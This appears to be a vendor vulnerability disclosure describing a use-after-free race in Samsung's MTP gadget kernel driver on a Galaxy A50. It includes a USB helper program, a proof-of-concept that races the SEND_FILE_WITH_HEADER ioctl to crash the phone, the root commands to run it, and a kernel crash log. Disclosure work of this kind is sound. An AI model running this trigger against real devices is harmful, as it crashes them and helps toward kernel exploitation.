Samsung: UAF via missing locking in SEND_FILE_WITH_HEADER handler in f_mtp_samsung.c
Tested on a Samsung A50 (SM-A505FN), running build
\"samsung/a50xx/a50:9/PPR1.180610.011/A505FNXXS3ASK9:user/release-keys\", security
patch level 2019-11-01.
Samsung's kernel tree contains two implementations of device-side MTP. One of
them (drivers/usb/gadget/function/f_mtp.c), based on its copyright headers,
seems to be from Google, but this one is disabled at build time.
The second one is drivers/usb/gadget/function/f_mtp_samsung.c.
Both of them have ioctl handlers that handle the ioctl command
SEND_FILE_WITH_HEADER; the Google version runs this handler under a lock, the
Samsung version doesn't hold any locks at this point.
In both MTP implementations, the SEND_FILE_WITH_HEADER handler first looks up a
file from a user-supplied file descriptor, then stashes a pointer to that file
in a struct, posts work to a workqueue to actually send data from the file to
the USB device, waits for the work item to be processed, and then drops its
reference on the file.
By the way, this entire dance with the work queue is probably completely
unnecessary. The Google version of the code has a comment that says:
/* We do the file transfer on a work queue so it will run
* in kernel context, which is necessary for vfs_read and
* vfs_write to use our buffers in the kernel address space.
*/
But that's wrong - if you want to do read/write with kernel buffers, you can
just use kernel_read()/kernel_write() instead of vfs_read()/vfs_write() and
everything should work just fine. (Or on older kernel before v4.14, use
set_fs(KERNEL_DS) manually.)
The problem is that the Samsung version runs this code without holding any
locks:
file = fget(info.Fd);
if (!file) {
status = -EBADF;
printk(KERN_DEBUG \"[%s] line=[%d] bad file number\
\",
__func__, __LINE__);
goto exit;
}
dev->read_send_file = file;
dev->read_send_length = info.Length;
smp_wmb();
work = &dev->read_send_work;
dev->read_send_cmd = info.Code;
dev->read_send_id = info.TransactionID;
queue_work(dev->wq, work);
/* Wait for the work to be complted on work queue */
flush_workqueue(dev->wq);
fput(file);
This means that two threads can race like this (prefixed with a thread
identifier):
[1] file = fget(info.Fd);
[1] if (!file) {
[1] status = -EBADF;
[1] printk(KERN_DEBUG \"[%s] line=[%d] bad file number\
\",
[1] __func__, __LINE__);
[1] goto exit;
[1] }
[1]
[1] dev->read_send_file = file;
[1] dev->read_send_length = info.Length;
[1] smp_wmb();
[2] file = fget(info.Fd);
[2] if (!file) {
[2] status = -EBADF;
[2] printk(KERN_DEBUG \"[%s] line=[%d] bad file number\
\",
[2] __func__, __LINE__);
[2] goto exit;
[2] }
[2]
[2] dev->read_send_file = file;
[2] dev->read_send_length = info.Length;
[2] smp_wmb();
[2]
[2] work = &dev->read_send_work;
[2] dev->read_send_cmd = info.Code;
[2] dev->read_send_id = info.TransactionID;
[2] queue_work(dev->wq, work);
[2] /* Wait for the work to be complted on work queue */
[2] flush_workqueue(dev->wq);
[2]
[2] fput(file);
[1]
[1] work = &dev->read_send_work;
[1] dev->read_send_cmd = info.Code;
[1] dev->read_send_id = info.TransactionID;
[1] queue_work(dev->wq, work);
[1] /* Wait for the work to be complted on work queue */
[1] flush_workqueue(dev->wq);
[1]
[1] fput(file);
If a race like this occurs, then by the time thread [1] reaches queue_work(),
dev->read_send_file no longer holds a reference and may have already been freed.
To reproduce this, you need to have a rooted phone.
Next, you need to run a helper on the host that consumes all the incoming USB
bulk messages on the MTP interface. Code for the helper:
================================================================================
#define _GNU_SOURCE
#include <stdio.h>
#include <err.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <linux/usbdevice_fs.h>
#include <linux/usb/ch9.h>
int main(int argc, char **argv) {
if (argc != 4) {
printf(\"usage: %s /dev/bus/usb/<bus>/<device> <interface-id> <endpoint-id (0-15)>\
\");
return 1;
}
int fd = open(argv[1], O_RDWR);
if (fd == -1) err(1, \"open('%s')\", argv[1]);
int interface = strtol(argv[2], NULL, 0);
int endpoint = strtol(argv[3], NULL, 0);
if (ioctl(fd, USBDEVFS_CLAIMINTERFACE, &interface))
err(1, \"claim interface\");
while (1) {
char buf[0x200];
struct usbdevfs_bulktransfer transfer = {
.ep = endpoint | USB_DIR_IN,
.len = sizeof(buf),
.data = buf
};
int len = ioctl(fd, USBDEVFS_BULK, &transfer);
if (len < 0) {
err(1, \"USBDEVFS_BULK\");
} else {
printf(\"got %d\
\", len);
}
}
}
================================================================================
To use the helper, you need the bus and device numbers from lsusb. The interface
ID (bInterfaceNumber) and endpoint ID (bEndpointAddress & 0xf) are 0 and 1, but
you can also find them with lsusb. Usage example:
================================================================================
$ lsusb | grep Samsung
Bus 001 Device 092: ID 04e8:6860 Samsung Electronics Co., Ltd Galaxy series, misc. (MTP mode)
$ lsusb -d 04e8:6860 -v | egrep 'Interface Descriptor|bInterfaceNumber|iInterface|Endpoint Descriptor|bEndpointAddress'
Interface Descriptor:
bInterfaceNumber 0
iInterface 5 MTP
Endpoint Descriptor:
bEndpointAddress 0x81 EP 1 IN
Endpoint Descriptor:
bEndpointAddress 0x01 EP 1 OUT
Endpoint Descriptor:
bEndpointAddress 0x82 EP 2 IN
Interface Descriptor:
bInterfaceNumber 1
iInterface 6 CDC Abstract Control Model (ACM)
Endpoint Descriptor:
bEndpointAddress 0x84 EP 4 IN
Interface Descriptor:
bInterfaceNumber 2
can't get debug descriptor: Resource temporarily unavailable
iInterface 7 CDC ACM Data
Endpoint Descriptor:
bEndpointAddress 0x83 EP 3 IN
Endpoint Descriptor:
bEndpointAddress 0x02 EP 2 OUT
Interface Descriptor:
bInterfaceNumber 3
iInterface 10 ADB Interface
Endpoint Descriptor:
bEndpointAddress 0x03 EP 3 OUT
Endpoint Descriptor:
bEndpointAddress 0x85 EP 5 IN
$ gcc -o usbread usbread.c && ./usbread /dev/bus/usb/001/092 0 1
================================================================================
Now compile the following PoC for the phone:
================================================================================
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <err.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
/* from kernel headers */
struct read_send_info {
int Fd;/* Media File fd */
uint64_t Length;/* the valid size, in BYTES, of the container */
uint16_t Code;/* Operation code, response code, or Event code */
uint32_t TransactionID;/* host generated number */
};
#define SEND_FILE_WITH_HEADER 11
/* print error and abort if syscall returned error code */
#define SYSCHK(x) ({ \\
typeof(x) __res = (x); \\
if ((long)__res == -1) \\
err(1, \"SYSCHK: %s\", #x); \\
__res; \\
})
// ensure that when the main process is killed via something like ^C, the entire
// process tree dies relatively quickly
static void set_pdeathsig(void) {
SYSCHK(prctl(PR_SET_PDEATHSIG, SIGKILL));
if (getppid() == 1) errx(1, \"parent went away immediately\");
}
static int dev_fd = -1;
static void collide(void) {
while (1) {
int data_fd = SYSCHK(open(\"/system/bin/sh\", O_RDONLY));
struct read_send_info info = {
.Fd = data_fd,
.Length = 1
};
ioctl(dev_fd, SEND_FILE_WITH_HEADER, &info);
close(data_fd);
}
}
int main(void) {
dev_fd = SYSCHK(open(\"/dev/usb_mtp_gadget\", O_RDWR));
for (int i=0; i<31; i++) {
pid_t child = SYSCHK(fork());
if (child == 0) {
set_pdeathsig();
collide();
return 0;
}
}
collide();
return 0;
}
================================================================================
Compile and use it like this:
================================================================================
$ aarch64-linux-gnu-gcc -static -o samsung_mtp_trigger samsung_mtp_trigger.c -Wall
$ adb push samsung_mtp_trigger /data/local/tmp/
samsung_mtp_trigger: 1 file pushed. 17.2 MB/s (578328 bytes in 0.032s)
$ adbs shell
a50:/ $ su
a50:/ # ps -AZ | grep Mtp
u:r:system_app:s0 system 7587 4068 4272384 163484 ep_poll 0 S com.samsung.android.MtpApplication
a50:/ # kill 7587
a50:/ # /data/local/tmp/samsung_mtp_trigger
$
================================================================================
... and now your phone should crash pretty quickly (something like a second).
To demonstrate that this is actually a UaF, here are snippets from last_kmsg:
================================================================================
<0>[13278.841349] [3: kworker/u16:9:17680] Unable to handle kernel read from unreadable memory at virtual address 00000160
[...]
<4>[13278.841899] [3: kworker/u16:9:17680] CPU: 3 PID: 17680 Comm: kworker/u16:9 Tainted: G W 4.14.62-16641116 #1
<4>[13278.841910] [3: kworker/u16:9:17680] Hardware name: Samsung A50 SWA OPEN rev04 board based on Exynos9610 (DT)
<4>[13278.841941] [3: kworker/u16:9:17680] Workqueue: mtp_read_send read_send_work
<4>[13278.841954] [3: kworker/u16:9:17680] task: ffffffc012aa6300 task.stack: ffffff800cf28000
<4>[13278.841969] [3: kworker/u16:9:17680] PC is at rw_verify_area+0x2c/0xc4
<4>[13278.841980] [3: kworker/u16:9:17680] LR is at vfs_read+0x78/0x138
<4>[13278.841991] [3: kworker/u16:9:17680] pc : [<ffffff80082caa0c>] lr : [<ffffff80082cacf4>] pstate: 00400145
<4>[13278.842001] [3: kworker/u16:9:17680] sp : ffffff800cf2bc90
<4>[13278.842011] [3: kworker/u16:9:17680] x29: ffffff800cf2bca0 x28: 000000000000000c
<4>[13278.842024] [3: kworker/u16:9:17680] x27: 0000000000000000 x26: 0000000000000000
<4>[13278.842037] [3: kworker/u16:9:17680] x25: ffffffc02e164c00 x24: ffffff80090bd369
<4>[13278.842050] [3: kworker/u16:9:17680] x23: ffffffc012aa6300 x22: ffffffc01d41800c
<4>[13278.842063] [3: kworker/u16:9:17680] x21: 0000000000000001 x20: 0000000000000000
<4>[13278.842075] [3: kworker/u16:9:17680] x19: ffffffc800e5b680 x18: 000000000000270f
<4>[13278.842088] [3: kworker/u16:9:17680] x17: 0000000000484728 x16: 0000000000000000
<4>[13278.842101] [3: kworker/u16:9:17680] x15: 00000000000000e6 x14: 0000000000000058
<4>[13278.842114] [3: kworker/u16:9:17680] x13: 000000000003a700 x12: dead000000000200
<4>[13278.842127] [3: kworker/u16:9:17680] x11: dead000000000100 x10: 0000000000000000
<4>[13278.842140] [3: kworker/u16:9:17680] x9 : 0000000000000001 x8 : ffffffffffffffff
<4>[13278.842153] [3: kworker/u16:9:17680] x7 : 682b6874656c2009 x6 : ffffff80f61229b6
<4>[13278.842166] [3: kworker/u16:9:17680] x5 : 0000000000004510 x4 : 000000000000000c
<4>[13278.842178] [3: kworker/u16:9:17680] x3 : 0000000000000001 x2 : 0000000000000000
<4>[13278.842191] [3: kworker/u16:9:17680] x1 : ffffffc800e5b680 x0 : 0000000000000000
[...]
<4>[13278.845924] [3: kworker/u16:9:17680] X19: 0xffffffc800e5b580:
[...]
<4>[13278.846172] [3: kworker/u16:9:17680] b680 : 00000000 00000000 082CEE70 FFFFFF80 00000000 00000000 00000000 00000000
<4>[13278.846200] [3: kworker/u16:9:17680] b6a0 : 00000000 00000000 08D55700 FFFFFF80 00000000 00000000 00000000 00000000
<4>[13278.846228] [3: kworker/u16:9:17680] b6c0 : 00020000 0802801D 00000000 00000000 00000000 00000000 00E5B6D8 FFFFFFC8
<4>[13278.846256] [3: kworker/u16:9:17680] b6e0 : 00E5B6D8 FFFFFFC8 00000000 00000000 00000000 00000000 00000000 00000000
<4>[13278.846285] [3: kworker/u16:9:17680] b700 : 00000000 00000000 00000000 00000000 7F56D500 FFFFFFC8 00000000 00000000
<4>[13278.846313] [3: kworker/u16:9:17680] b720 : 00000000 00000000 00000020 00000000 FFFFFFFF FFFFFFFF 00000000 00000000
<4>[13278.846341] [3: kworker/u16:9:17680] b740 : 00000000 00000000 00000000 00000000 00E5B750 FFFFFFC8 00E5B750 FFFFFFC8
<4>[13278.846369] [3: kworker/u16:9:17680] b760 : 00E5B760 FFFFFFC8 00E5B760 FFFFFFC8 6458BCF0 FFFFFFC8 00000000 00000000
================================================================================
The crash is in rw_verify_area() and is caused by file->f_inode being NULL. The
file pointer is in X19; by looking at X19, we can see that it indeed looks like
a struct file that was just freed (some pointers have been nulled by __fput(),
and the refcount is zero):
================================================================================
mnt dentry
<4>[13278.846172] [3: kworker/u16:9:17680] b680 : 00000000 00000000 082CEE70 FFFFFF80 00000000 00000000 00000000 00000000
inode f_op counter
<4>[13278.846200] [3: kworker/u16:9:17680] b6a0 : 00000000 00000000 08D55700 FFFFFF80 00000000 00000000 00000000 00000000
<4>[13278.846228] [3: kworker/u16:9:17680] b6c0 : 00020000 0802801D 00000000 00000000 00000000 00000000 00E5B6D8 FFFFFFC8
<4>[13278.846256] [3: kworker/u16:9:17680] b6e0 : 00E5B6D8 FFFFFFC8 00000000 00000000 00000000 00000000 00000000 00000000
<4>[13278.846285] [3: kworker/u16:9:17680] b700 : 00000000 00000000 00000000 00000000 7F56D500 FFFFFFC8 00000000 00000000
<4>[13278.846313] [3: kworker/u16:9:17680] b720 : 00000000 00000000 00000020 00000000 FFFFFFFF FFFFFFFF 00000000 00000000
<4>[13278.846341] [3: kworker/u16:9:17680] b740 : 00000000 00000000 00000000 00000000 00E5B750 FFFFFFC8 00E5B750 FFFFFFC8
<4>[13278.846369] [3: kworker/u16:9:17680] b760 : 00E5B760 FFFFFFC8 00E5B760 FFFFFFC8 6458BCF0 FFFFFFC8 00000000 00000000
================================================================================
Reporting this as a security bug since /dev/usb_mtp_gadget is reachable from a
privileged, but not-root-equivalent context:
a50:/ # ls -laZ /dev/usb_mtp_gadget
crw-rw---- 1 system mtp u:object_r:mtp_device:s0 10, 27 2019-12-14 03:12 /dev/usb_mtp_gadget
(allow mediaprovider mtp_device (chr_file (ioctl read write getattr lock append map open)))
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: jannh@google.com
